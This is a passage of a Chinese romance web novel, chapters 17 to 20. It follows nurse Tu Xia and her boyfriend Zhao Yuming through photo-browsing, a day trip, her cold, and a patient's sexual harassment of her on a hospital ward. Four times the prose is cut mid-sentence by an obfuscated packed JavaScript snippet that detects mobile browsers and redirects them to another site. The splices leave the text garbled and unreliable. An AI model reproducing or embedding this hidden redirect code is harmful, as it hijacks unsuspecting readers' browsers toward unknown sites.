赵聿明点头:“可以。” 理科大神的标准长相一般都是寸头加黑框眼镜,校服加网面运动鞋,唇边再留着点小胡茬,眼神呆呆愣愣的,喜欢自言自语,满脑子都是什么函数几何,定律法则。 涂夏实在好奇赵聿明十六七岁的样子。 在她的期待下,赵聿明把箱子打开,翻出里面的相册,正要掀开一探究竟的时候,涂夏快速伸手制止了他的动作。 “停!”涂夏紧张地看着他。 “怎么了?”赵聿明问。 涂夏盯着他看了几秒,满脸纠结:“你给我描述一下,你高中时期的长相。” 赵聿明皱了皱眉,疑惑地问:“描述?你自己看不是更直观吗?” 涂夏干呵呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781370|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑了两下,就怕太直观,导致她对赵聿明的帅哥滤镜碎一地。 “我想先听一下你的描述,这样能拉高我的期待值。” “我身高和长相的变化都不大。”赵聿明仔细回忆着自己的高中时代,“发型三七分,皮肤不算白……算了,你还是自己看吧。” 涂夏“啊”了一声。 赵聿明不解:“啊什么?” “没什么……”涂夏露出一抹苦笑。 她翻开相册,眼尾扫过其中一张照片。 那是张集体照,赵聿明站在中间,十六七岁的少年,身形清瘦,眉眼柔和,脸上带有几分青涩,完全不似现在的凌厉成熟。他站得笔直,两只手规规矩矩地贴在大腿外侧,一眼看上去就是老师最钟爱的那种乖崽学霸。 涂夏有些意外,她说:“想不到你以前还蛮帅的嘛,我还以为会是什么潦草小狗呢。” 赵聿明愣了一下,心想这又是什么奇奇怪怪的小绰号,笑着问:“潦草小狗?” 涂夏逗他:“头发乱蓬蓬的小狗。” “我是小狗,你是什么?”赵聿明问。 “我是……”涂夏挑眉一笑,“不告诉你。” 赵聿明从背后抱住她,脑袋窝在她的颈窝里,鼻尖、嘴唇轻轻地蹭过她的皮肤。 温热的呼吸打在涂夏的脖子上,有些湿又有些痒,她没忍住笑了笑:“赵聿明,你在学小狗撒娇吗?” 赵聿明不说话,伸出舌头舔她的脖子。 涂夏侧过头,伸手揉了揉他的头发,满脑子想得都是他怎么这么可爱,真的好像小狗。 “好了。”涂夏哄道。 赵聿明的声音有些闷:“不好。” 涂夏耐心地说:“听话。” “让我抱一会儿,就一会儿。” 赵聿明的眼睛红了,他心里可委屈了。 “哭了?” “没有。” * 今年的中秋和国庆只隔了一天,赵聿明学校放了几天长假,涂夏休班那天,刚好赶上他假期的最后一天。 天刚蒙蒙亮,涂夏的房门就被敲响了。 赵聿明站在门外催她起床,昨晚两个人商量好了要去梧市周边的古镇玩一圈,他担心赶上国庆高峰堵车,只能提前出发。 涂夏哼哼唧唧地在床上赖了半天,最后挣扎着爬起来,顶着乱蓬蓬的鸡窝头开了门。 她低着头,塌着肩膀,满脸惺忪。 赵聿明笑着说:“快去洗漱。” “嗯。”涂夏打了个哈欠,撒娇一般地抱住赵聿明,脑袋靠在他胸口,拼命地蹭着。 赵聿明有些哭笑不得,他低头亲了亲涂夏的发顶,轻声说:“要不然今天就不去了,等下次有时间再去。” 涂夏终于睁开了眼,说:“都计划好了。” “可以改变计划。”赵聿明说。 “还是别了。”涂夏松开手,从他的怀里退出来,“我去刷牙洗脸。” 赵聿明点头说了声“好”。 大概是养成了职业习惯,涂夏的动作很快,洗漱、化妆、换衣服一气呵成,最后出门时也才不过八点。 凌晨下了阵小雨,空气有些湿冷,车窗半开着,清晨的风吹进来,有股湿漉漉的青草味儿。 涂夏捧着杯热豆浆,开心地哼着歌。 赵聿明透过后视镜看她。 真的有种岁月静好的感觉。 18. 第 18 章 古镇离市区很近,开车一小时就到。 两个人走在青石板小路上,涂夏指着一家卖陶瓷制品的小店,说:“去那里逛逛吧。” 赵聿明点头说:“好。” 刚一进店,涂夏就被货架上那些稀奇古怪的丑东西吸引住了目光,她拿起一个伸着舌头的绿色青蛙水杯看了又看,最后笑着对赵聿明说:“这个适合你。” 赵聿明扫了一眼她手里的丑杯子,眉头微微蹙起,他问:“怎么就适合我了?” 涂夏眨着眼睛,满脸期待,嘴角压不住的笑意,就像是在心里憋了什么坏主意:“一个严肃正经人,有天却端着丑萌丑萌的杯子喝水,多有反差感啊,你不喜欢吗?” 赵聿明思考了两秒,说:“喜欢。” “喜欢就好,我给你买。”涂夏把青蛙水杯放进购物篮里,又开始挑选其他东西,“喜不喜欢这个苹果挂件,可以挂在车里保平安。” “喜欢。” “那这个小狗摆件呢?我觉得有点像你。” “像我?” “对啊,像你,特别可爱。” 赵聿明轻声笑了笑,把挑选了很久的小猫钥匙扣拿给她看,白色毛发,蓝色眼睛,张着爪子,呲着牙,有点凶也有点可爱。 涂夏扫了一眼,说:“陶瓷钥匙扣容易碎。” “我保护好它,不让它碎。” 有时候涂夏特会撩,就像情场老手,但有时候也特别直女,就比如现在。 涂夏说:“别要钥匙扣了,选个小猫摆件,跟我的小狗做好朋友。” 赵聿明:…… “选个小狗吧,跟你的小狗做夫妻。” “可以啊。”涂夏赞同地点了点头,“要不要再选个小小狗,当它俩的宝宝。” 赵聿明扯着一抹苦笑:“你喜欢就好。” 涂夏:“你不喜欢吗?” “喜欢。” 于是,涂夏挑了三个体型不同但长相相同的小狗摆件放进了购物篮。买完这些小玩意儿,她又绕到餐具区挑选碗碟,老家的规矩是买双不买单,所以就每样各拿了两个。 赵聿明看见这一幕,以为她是要跟自己用情侣款,原本沉郁的脸上也露出了一抹浅笑。 他拎着满满当当的购物篮说:“我先把这些放到收银台,顺便再拿一个新的篮子。” 涂夏惊讶地回过头:“我选了这么多吗?” 赵聿明笑了笑:“不多,家里碗碟正好该换新的了,你喜欢就买。” “不买了不买了。”涂夏摇头,“还有好多店没逛呢,买太多了提不动。” 结过账,从陶瓷店出来,两个人沿着河道往里走,将要转弯进入另一条街的时候,涂夏停下脚步,回过头说:“先把这些东西送到车上再逛吧,你一直提着多沉啊。” “那你先找家店逛着,我去送一趟。” “嗯。” 赵聿明转身往回走,他又去了那家店。 只可惜,他在货架上找了很久都没有看见那个小猫钥匙扣,大概是已经被人买走了。 店员走上前问:“先生,请问需要帮忙吗?” 赵聿明说:“不需要,谢谢。” 大概是停留的时间有点久,涂夏等的有点着急了,发信息来催:【怎么还不回来?】 赵聿明:【五分钟。】 涂夏:【我不着急,你也别跑,把我那些漂亮的碗碟子给保护好了。】 赵聿明吓唬她:【晚了,已经摔了。】 涂夏:【?真的假的?】 赵聿明:【假的。】 涂夏:【切,小心眼儿。】 * 在古镇逛了一天,涂夏累得够呛,回到家倒头就睡,醒来已经晚上八九点了。她从卧室出来,看见赵聿明正坐在沙发上备课。 “辛苦了,赵老师。” 赵聿明听见她的声音,问:“嗓子怎么了?” 涂夏吸了吸鼻子:“好像有点感冒了。” “过来。”赵聿明把电脑放在茶几上,找出药箱里的体温计甩了甩,“量个体温。” 涂夏摸了摸自己的额头,说:“我没发烧。” 赵聿明把体温计递给她,移开目光说:“你这是主观判断,要看客观事实。” “好,要看客观事实。”涂夏笑了笑,把体温计塞到腋下,“可以帮我倒杯热水吗?” “喝点感冒药吧。”赵聿明弯下腰,找出一盒感冒冲剂,检查完保质日期,用温水冲好,“最近天气不好,要注意保暖。” 涂夏捧着杯子,大口地喝完药,五分钟之后,她把体温计拿了出来,三十七度五,低烧。 赵聿明看着体温计上的数字,问:“需要打针退烧吗?” “不用。”涂夏摇了摇头,“低烧物理降温。” “家里好像没有退烧贴,我去楼下药店买。” 涂夏拦住他:“热毛巾就行。” 赵聿明说:“你回卧室躺着,我去准备。” “嗯。”涂夏点点头,重新躺回床上。 几分钟后,赵聿明端了盆温水进来,他把毛巾打湿,拧干多余水分,放在她额头上。 赵聿明又拿了条新毛巾:“把手伸出来。” 涂夏笑了笑,乖乖伸出胳膊,平常都是自己照顾别人,现在终于轮到别人照顾自己了,这种当甩手掌柜的感觉还真不错。 “笑什么?”赵聿明问:“身上冷吗?” 涂夏任由他给自己擦手擦胳膊,毛巾是热的,他的手也是热的:“有一点儿,不过还好。” 赵聿明给她盖好一侧的被子:“另一只手。” 涂夏望着他笑了一会儿,从被子里伸出另一只手,她攥着手心,像是里面藏了什么东西。 她说:“猜猜我手里的是什么?” 赵聿明看着她红扑扑的脸蛋儿,认真地思考了两秒,最后摇了摇头:“不知道。” 涂夏瞬间收起笑容:“你有点敷衍了。” 赵聿明笑了一下,直言不讳地说:“你今晚不降温明天就烧成傻子了。” “睡一觉就好了,有你这么咒人的吗?”涂夏没忍住翻了个白眼,她觉得赵聿明今天特没劲。 “头不疼吗?”赵聿明问。 “你不气我,我就不疼。”涂夏把手心里的东西亮了出来,是今天上午两个人在陶瓷店,赵聿明挑中的那个小猫钥匙扣。 赵聿明愣了一下,问:“什么时候买的?” “结账的时候。”涂夏把食指穿进钥匙圈里,伸着胳膊,在他眼前晃了晃,“惊不惊喜?” “惊喜。”赵聿明点点头,握住她的手。 原来他找不到的钥匙扣是被涂夏买走了。 赵聿明问:“不是说容易碎吗?” 涂夏说:“你喜欢啊。” 因为你喜欢,所以要买来送你。 “为什么要偷偷的买。”赵聿明一向喜欢打破砂锅问到底,“是想给我一个惊喜吗?” “嗯。”涂夏点点头,“是不是更爱我了?” 赵聿明忍不住笑了,他俯下身,贴着涂夏滚烫的脸蛋,在她耳边说:“嗯,更爱了。” 涂夏伸出胳膊去推他:“你离我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781371|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远点儿,别被传染了。” “我抵抗力强,不怕。” * 第二天,涂夏的感冒更严重了,她量完体温发现还是有点低烧,于是吃完早饭又喝了点退烧药,最后裹着个厚外套出门上班了。 到了科室,她换好护士服,抬头看了眼室温表,心不甘情不愿地翻出医院统一发的深蓝色针织衫穿上。她一直嫌这衣服丑,所以从未主动穿过,今天也是因为感冒,纯属无奈。 交班时,同事小声问:“感冒了?” 涂夏点点头:“昨天出去玩,吹了点风。” 同事“哦”了一声,又问:“发烧没?” “有点低烧。”涂夏皱着眉看她,“想干嘛?” 同事嘿嘿地笑了笑,不怀好意地说:“让我学生给你打一针呗。” 涂夏听见这句话,立刻往旁边挪了两步,同事不死心地跟了上来,“奉献精神懂不懂?” “我最怕打针了。”涂夏咬牙切齿地说。 她不怕输液,就怕打屁股针,小时候感冒发烧,都是先喝药,喝药不见好才打针。涂爸把她放在腿上,左胳膊夹着她脑袋,右胳膊按着她大腿,诊室里鬼哭狼嚎的。 打完针,涂夏靠在墙角,吃着冰淇淋,涂爸在旁边道歉,她不理,只一个劲儿的掉眼泪,哭得梨花带雨的,看得可让人心疼了。 同事皱了皱眉,依旧不信:“你一护士害怕打针?别开玩笑了。” 涂夏说:“自己给别人打针和别人给自己打针是完全不同的两回事。” 交完班,回到治疗室,实习生已经把患者要输的前几瓶液体摆到了治疗车上。 涂夏问:“留置针和敷贴备了吗?” 实习生说:“治疗车里有。” “行。”涂夏把治疗盘递给她,“我负责挂,你负责接,一定要对好名字和床号,手上没针的你就试着扎,扎不上找我。” 实习生点点头:“好。” 九点钟左右,涂夏忙完回到护士站。 她戴着口罩,低低地咳嗽了两声,刚才来回走动出了点汗,现在浑身又冷又热。 同事正好给病人量完体温回来,就顺带手的用体温枪在她脑门上“biu”了一下:“嚯,三十八度五,确定不来一针吗?” “不来。”涂夏的声音有些闷,“我今天就是烧到三十九度也不来。” 同事咂了咂嘴:“有志气。” 到了十点半,涂夏彻底撑不住了。 她回治疗室洗了洗手,对同事说:“要不你还是给我来一针吧。” “行啊,你回休息室,我去拿药。”同事看着她病殃殃的样子,没忍住笑了。 涂夏虚弱地“嗯”了一声。 休息室里,她坐在床上,看着同事蓄势待发的动作,问:“肌肉注射两快一慢是什么?” 同事白了她一眼:“我又不是你实习生,考我干什么?” 涂夏催她:“你快说。” 同事无奈地叹了口气:“进针快,拔针快,推药慢。” “希望你牢记这三点。” “记着呢。”同事一手拿着棉签,一手拿着针管催她,“快,把裤子扒了。” 涂夏看见她凶神恶煞的样子,威胁道:“你催什么啊,小心我去护理部投诉你。” 同事乐出了声:“去吧,投诉去吧。” 上一秒还在开玩笑,下一秒针就打完了。 涂夏把裤子穿好,痛感后知后觉的传来。 她皱着眉说:“疼死了。” 同事轻啧一声:“看来我还是下手轻了。” 19. 第 19 章 国庆之后,气温骤降,一场秋雨落下,涂夏的感冒更严重了。她裹紧毯子,歪头依偎在赵聿明怀里,哑着嗓子说:“体质这东西真玄乎,咱俩每天朝夕相处的,你到现在也没被我传染。” 赵聿明把她抱紧,鼻尖蹭着鼻尖,又心疼又想笑:“我病了谁来照顾你?” “我回家呀。”涂夏笑了笑,“把你一个人丢在这里,让你叫天天不应叫地地不灵。” 赵聿明笑着亲她:“这么没良心啊?” “嗯。你第一天认识我吗?”涂夏伸手摸了摸他的脑袋,软蓬蓬的,特别舒服。 “你真狠心。”赵聿明咬上她的嘴唇,两个人的呼吸纠缠在一起,涂夏本身就有点鼻塞,现在更是直接喘不上气了。 涂夏把他推开,皱着眉说:“你别亲我。” 赵聿明不听,细密温热的吻落下,从她的额头一直到下巴,低沉沙哑的声音响起:“你的脸很热很软,特别的好亲。” 涂夏望着他的眼睛,下意识咽了下口水。 “还想亲你。”赵聿明说。 涂夏没忍住笑了,抬手抚摸着他的半边脸颊,掌心蹭上他的下巴,有点扎手,也有点痒。 她说:“赵聿明,你跟以前有点不一样。” 赵聿明问:“哪儿不一样?” 涂夏在他嘴唇上点了一下:“以前的你特别严肃高冷,我们第一次去电影院,点奶茶你不让我加冰,我说你又不是我男朋友,凭什么管我,你生气了,开始不理我,我觉得你冷暴力,心里特别的不爽,也特别想骂你。” “对不起。”赵聿明开始道歉,“我没想不理你,也没想冷暴力,我只是不知道该怎么劝你。” “从电影院出来,你把车钥匙给了我,让我在车上等着,反锁车门等你回来,你还说无论是谁,无论对方说了什么,也不能开门。”涂夏张开胳膊,抱住他的脖子,把整张脸埋进他的颈窝里,“我当时觉得你特别细心,这些话还是小时候我爸妈跟我说的,他们特别护我,每次出门前都要千叮咛万嘱咐,生怕我被人骗走了。” 赵聿明托起她的后脑勺,把滑落的毯子重新给她盖上,抬手顺着她的后背,用脸颊蹭着她的脑袋,声音温柔:“我也怕。” 涂夏感慨道:“你是一个很好的人。” 赵聿明笑了:“发好人卡呢?” 涂夏一边咳,一边笑,她仰起头,往他脸上咬了一口:“赵聿明,你真烦人。” “轻点儿咬,还上班呢。”赵聿明说。 “我都没使劲儿。”涂夏揉了揉他的脸,仔细观察着他的眉眼,他的眼睛细长,眼尾微微下垂,看起来有点凶。鼻梁挺拔,唇线清晰,右侧脸颊上那个浅浅的小梨涡,又让他变得很温柔。 涂夏很喜欢赵聿明的怀抱,结实的臂弯,宽阔的胸膛,强劲的心跳,以及他身上那股淡淡的薰衣草味道,都特别的让人安心。 她身上的力量渐渐松懈了,赵聿明把她抱在怀里,裹紧毯子,像安抚婴儿般,轻轻地拍着她的后背,他的声音很轻:“困不困?” “嗯。”涂夏蹭着他的脖子。 赵聿明轻轻地亲了下她的额头:“睡吧。” 涂夏翻了个身,在他怀里找了个舒服的姿势躺下:“我晚上夜班,你记得喊我。” 赵聿明“嗯”了一声。 等涂夏睡着后,赵聿明把她抱回了卧室。 * 下午四点半,赵聿明把她喊醒,让她起来吃晚饭。涂夏最近生病,胃口不太好,只要闻见油腥就想吐,所以只煮了青菜和甜粥。 涂夏鼻塞,呼吸起来有点费劲儿,她看了眼排班表,说:“我明天休息,后天白班。” 赵聿明问:“下周有几天夜班?” “下周没有。”涂夏摇了摇头,“护士长看我感冒一直不好,就没给我再安排夜班。” 赵聿明叮嘱道:“注意保暖,多喝热水。” 涂夏“嗯”了一声:“没事儿,你别担心。” 她一感冒,说话就像懒羊羊,鼻尖因为冷空气和用力呼吸变得红红的,特别的可爱。 赵聿明给她准备了水果和夜宵,科室休息室里有微波炉,晚上要是饿了,可以热来吃。 到了科室,涂夏换好衣服去交班。 等一切都安静下来以后,偌大的护士站就只剩下她和实习生两个人。 晚上八点,呼叫铃响了。 涂夏看了眼显示器,又是三床,这个患者是跟人打架斗殴意外摔伤了胳膊住院的,从他踏进骨科病区的那一刻就没消停过,一会儿热了,一会儿冷了的,张口闭口兄弟义气,年轻气盛,嗓门大,一双眯缝眼,炸成花儿一样的鱼尾纹,显得特流氓。 实习生站了起来,没好气地说了句:“又是他,这三床跟有病一样,特娇气。” “我去吧。”涂夏拦住她。 “没事儿老师,你休息。”实习生摸了摸护士服口袋,“我去就行,要招架不了再喊你。” 涂夏微微皱起眉,她有点不放心,这时呼叫铃再次响起,三床又开始催了,她说:“还是我去吧。”她站起来,拍了拍实习生的肩膀。 她往病房走去,灯很亮,只有脚下一点影子,推开门,望向三床,问:“怎么了?” 三床见她过来,顿时拧紧眉头,龇牙咧嘴地说:“我手背红了,还有点疼,是不是针穿了?” 涂夏走进一看,的确有点红了,她扫了眼留置针上的日期,说:“我给你把针拔了,明早再扎一个新的,你今晚也能睡个舒服觉。” “行。”三床点点头,开口抱怨,“我这针还是做手术那天,你们科实习生扎的,她技术一点都不好,来来回回的找血管,都快疼死了。” 涂夏一语不发地掏出口袋里的棉签,弯下腰轻轻地撕扯他手背上的敷贴,只听见三床发出嘶嘶的声音,她把棉签压在针眼上,说:“你按住等个几分钟再拿掉。” 三床看了一眼手背,不紧不慢地伸出大拇指按了上去,他笑着说:“他们都说你扎针不疼,明天你给我扎呗。” “我明天下夜班,给你扎不了。”涂夏转身离开时,又解释了一句,“科室里还有其他经验丰富的护士,你可以让她们扎。” “你不是夜班吗?反正要上到早上八点,你就提前来半小时给我扎了。”三床说。 涂夏解释:“静配中心的药送的没那么早。” 三床皱了皱眉:“扎个针而已……” “等明天吧。”涂夏说完转身离开。 她背手关上门,病房里安静了两秒,紧接着传来一阵十分猥琐的笑声。 医院安排病床有一定规律,通常都会把男性和女性分开,名字相似的也要分开。一是为了保护隐私和方便,二是为了避免出现输错药等医疗事故。 住在三床旁边的二床,也是个男人,三十出头,圆脸,戴个眼镜,一脸憨厚的样子。 三床满脸兴奋,裂开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781372|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴笑着说:“看见没?那小手白的,刚给我拔针的时候,手心软乎乎的,浑身散发着一股香味儿,你说是喷了香水,还是沐浴露的味儿?” 二床摇摇头:“不知道,反正挺香。” “你说她有对象没?”三床眼里冒着光,开始幻想和涂夏来场美丽的邂逅,“我想追她。” “人家能看上你吗?”二床泼了盆冷水。 三床吊着胳膊,靠在病床上,不悦地说:“我年轻力壮的,身体那么好,她看不上我?老子让她欲死欲仙。” 二床扯了扯嘴角:“有时候人不能太自信。” 三床没好气地骂他:“你个怂货。” 涂夏回到护士站,把针头处理后,洗干净手重新坐下,她身体不舒服,实在没那么多精力和三床扯皮。 实习生看她有些疲惫,关心地说:“老师你要不趴下休息会儿吧,我盯着。” “没事儿,我还不困。”涂夏摇了摇头,“你饿吗?我那有宵夜,还有水果。” “不饿,晚上吃得多。”实习生说。 涂夏知道小姑娘是不好意思,她实习的时候也这样,没有工资,老师请客吃饭,就纠结着要不要把钱还回去,后来次数多了也渐渐明白过来这是个老传统,等她开始带学生了,也请客吃饭,就好像是个循环。 她说:“休息的时候,你陪我吃点。” 实习生嘿嘿地笑了笑,点头说:“好。” 涂夏安静地坐着,她戴着口罩,只露出额头和眼睛,皮肤惨白,眼里泛着红血丝,看起来有种病态美人即视感。 值班医生苏亭宇路过,往护士站丢了盒润喉糖,涂夏愣了一下,随手拿起来,笑着说:“无事献殷勤非奸即盗,说吧,什么事儿?” “别把人心想得这么邪恶成不成?”苏亭宇站在护士站前面,撑着两条胳膊看她,刚三十出头的男人,满脸沧桑,“都快咳成林黛玉了,趁早吊两瓶水,别拖着了。” 涂夏把口罩扯下来,扣下一颗润喉糖塞嘴里,满满的薄荷味,又甜又凉,她不紧不慢地说:“整天这么忙,哪来的时间吊水。” 苏亭宇笑了笑,说:“要不我给你开点?” “别。”涂夏连忙制止,“打住吧,你个外科大夫瞎凑什么热闹。” “又不是没学过。”苏亭宇说。 涂夏撇撇嘴,显然是不赞同他的说法:“术业有专攻。”她转了圈椅子,笑得特坏,“你润喉糖哪来的?不会是暗恋我特意买的吧?” 苏亭宇白了她一眼,“暗恋你?” “对啊。”涂夏点头,“不过我劝你最好死了这条心,我有男朋友,他长的超帅,身材超好。” 涂夏说得特别夸张,眼睛眨啊眨的,完全没有了刚才病歪歪的样子,反而变得特精神。 苏亭宇哼笑一声,表示无语。 就当她是撒狗粮了。 他说:“刚去了趟急诊,找曾医生开的。” 涂夏顺着他的话问:“急诊忙吗?” “就那样。”苏亭宇双手抄起口袋,“我回办公室了,有事喊我。” 涂夏点头,目送着他离开。 科室单身的医生护士不多,她和苏亭宇前后脚进医院上班,两人年纪差个五六岁,往哪儿一站有点郎才女貌的意思,有好当红娘的也给他俩牵过线搭过桥,但没什么结果。 两人都不矫情,当不了爱人当同事,认识这么多年,说点玩笑话,谁也不当真。 20. 第 20 章 第二天六点半,涂夏从休息室出来,刚拐进病房走廊,就跟苏亭宇迎面碰上,她打着哈欠说:“苏医生,早上好啊。” “早上好。”苏亭宇冲她点头,“这么困啊?” 涂夏吸了吸鼻子,生无可恋地说:“前半夜值班,后半夜鼻塞睡不着,能不困嘛。” 苏亭宇啧了一声:“你做个雾化呗。” “等忙完吧。”涂夏敷衍了一句。 “……”苏亭宇微微一笑,“您随意。” 涂夏摆摆手:“我先去忙了。” 她回到护士站,跟同事打了声招呼,径直走向治疗室,打开柜子,拿了个新口罩戴上。 “血抽完了?”涂夏问。 同事点点头,“还有血压没量,妹妹呢?” 涂夏打开抽屉,拿出血压计和指脉氧仪,往前走两步,在桌子上找到体征记录单,她轻声说:“妹妹在洗漱,我去量也一样。” 同事看了她一眼:“你不重感冒么?” “重感冒就能不工作了?”涂夏说完笑了笑。 为了避免三床跟她扯皮浪费时间,涂夏选择从后往前量,走到最后一间病房,她推门时明显犹豫了两秒,最后想了想,反正留他最后一个,也就几分钟的事儿,量完就出来。 涂夏推门进去,把灯打开,轻声说:“量血压了。” 一床出院了,就剩下二三床,为图省事,她站在两张病床的中间,先给二床量完,又侧身看向三床,声音平淡:“把袖子整理一下。” “我一只手咋整理啊?”三床看看胳膊,又看看涂夏,“就这样量吧。” 涂夏没说话,弯下腰,把他袖子整理好,绑好血压计,按下开始,她站在旁边等着,眼睛随意地看向别处。 就在这时,涂夏感觉有一只手不轻不重地从她腿边划过,她下意识退后一步,低头看向三床,厉声质问道:“你干什么?” “什么干什么?”三床装傻充愣,满脸写着你没证据能把我怎么着,“我不量血压呢?” 涂夏气得牙根痒痒,最后强忍着怒火把他手臂上的血压计解了,提起正要走时,三床出声把她拦住:“你刚刚吓我一大跳,我血压肯定比平常高,你这不准,再给我量一遍。” 妈的,服了。涂夏在心里骂他。 测完第二遍,她记下数值就出去了。 实习生见涂夏黑着张脸回来,连忙问:“老师你怎么了?” “没事儿。”涂夏把血压计和指脉氧仪放回抽屉里,低头看了眼体征记录表,“以后三床跟你说话,你随便应付几句,尽量离远点。” “嗯。”实习生点点头,表情厌恶,“我看他不该来骨科,干脆去精神科好了。” 涂夏坐到椅子上,叹了口气,说:“没办法,做这一行的,什么人都能碰见。” 话音落下,两个人都沉默了。 半小时后,三床又来了,涂夏用眼尾扫了他一眼,心想怎么折的是胳膊不是腿。 三床站在体重秤上称了一下,晃晃悠悠地走到涂夏面前,嬉皮笑脸地问:“你什么时候下班呐?” “八点。”涂夏随口说了一句。 “这不快下班了嘛。”三床往护士站电子显示屏上看一眼,“都七点半了……” “嗯。”涂夏抬眼看他,“你没事儿吗?” 三床让她看自己打着石膏的胳膊,装得特别的可怜,耍赖一般地说:“摔折了胳膊哪儿都不能去,我能有什么事儿,整天吃吃喝喝,玩玩乐乐的,虽然无聊,但有点潇洒。” 涂夏记得他手术已经好几天了,笔尖点在A4纸上,一下又一下,她说:“你活蹦乱跳的就别住院了,回家养着也一样。” “那可不行,伤筋动骨一百天呢。”三床把另一边健全的胳膊撑在护士站桌面上,两只眼睛不断地扫向涂夏的身体,最后舔了舔干裂的嘴唇,“这不是老天爷心疼我摔断了胳膊,想赔我一个对象么。” “你没对象吗?”涂夏皮笑肉不笑的问。 “嗯。”三床,“对象哪那么容易找啊。” 涂夏扯着嘴角笑了一下,像是在嘲讽他:“你没对象我有啊。” 她的声音轻飘飘的,就像一阵风,吹在人脸上酥酥麻麻的,但三床听完,只尴尬一笑。 三床挑了挑眉,不屑的问:“你们护士这么忙还是有时间谈恋爱?” 涂夏将双肘撑在桌面上,挺直腰背,冲他快速地笑了一下,像是在开玩笑,又像是心里就这么想的,她说:“摔折了胳膊也没见你闲着躺床上。” 三床的嘴角僵了一下:“你这小护士,牙尖嘴利的,你男朋友还挺能忍,这脾气都受得了。” ?小护士…… 涂夏在心里翻了个白眼,神你妈个小护士。 走廊上的人渐渐多了,三床觉得没劲就灰溜溜地回了病房,依旧是吊儿郎当的样子,病号服也不好好穿,上衣歪七扭八的漏着胸口,裤子拖沓到地上,感觉下一秒就要露出半拉屁股。 后来的几天,三床有事儿没事儿的就来护士站溜达一圈,量量血压,称称体重,东一句西一句的问,关键他不找别人,只找涂夏。 涂夏心里烦的不行,那天摸她大腿的账还没算呢,就这么死皮赖脸的,贱不贱呐。 她找到苏亭宇,问:“这三床什么时候能出院啊?” “早就能出了,他赖着不走,没招儿。”苏亭宇耸了耸肩,表示无可奈何,“我请主任给他做做思想工作。” “行。”涂夏点头,“你尽快啊。” 苏亭宇抱着胳膊看她,问:“这么心烦啊?” 涂夏皱着眉,语气很冲:“你说呢?我要不是穿着这身护士服,早跟他干起来了。” 苏亭宇笑了笑,无所谓地说:“衣服影响你发挥,那就脱了。” “助纣为虐啊?”涂夏问他。 “这算哪门子助纣为虐。”苏亭宇的眼睛往门口扫了一眼,脸色忽然变了,“护士长,有事啊?” 涂夏的半边屁股还坐在办公桌上,听见苏亭宇的这句话,蹭地滑了下来,她回过头,看见护士长就站在门口,脸色阴沉,眼神犀利。 护士长说:“涂夏,你跟我去办公室一趟。” “好的。”涂夏背着手点点头。 苏亭宇一脸的幸灾乐祸,挑衅的眼神里仿佛在说:你完喽。 涂夏瞪他一眼,跟着护士长走了。 办公室里,涂夏一脸茫然,她低着头,在心里回忆着自己最近有没有犯错。 护士长问:“三床是怎么回事儿啊?” “什么怎么回事儿?”涂夏不解,“不知道。” “不知道?”她就没见过像涂夏这样赖皮的。 涂夏点点头,摊着手说:“我真不知道。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781373|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 护士长把茶杯放下,恨铁不成钢地说:“三天两头的被人投诉,你这么硬气,干脆辞职回家当大小姐算了。” “凭什么啊?”涂夏睁大眼睛,“他凭什么投诉我,我还没打电话报警说他性骚扰呢,这么大的亏我都忍下去了,您不分缘由的就劝我辞职,多伤我心啊?” 护士长也愣了,问她:“性骚扰?” “他趁我给他量血压,摸我大腿。”涂夏拉开面前的椅子坐下,她眼睛红了,鼻子也红了,感冒没好利索,声音还有点黏黏糊糊的,眼泪啪啪往下掉,“我一未婚小姑娘,哪受过这委屈,您老是说别跟那些人一般见识,我忍还不行吗?” 护士长面冷心软,听到她哭,心里也有点动容,抬手抽了张纸巾给她。 “谢谢护士长。”涂夏吸着鼻子说。 “你先别哭。”护士长脸色一沉,“这件事我知道了,护理部那边我去说,但你被投诉是事实,可能还是需要道歉。” 涂夏哭着问:“凭什么啊?” 护士长冷声说:“就凭你没证据。” “没天理。”涂夏起身往外走,护士长跟上去拽住她的胳膊,“你去干什么?” 涂夏脚步不停:“我找证据。” 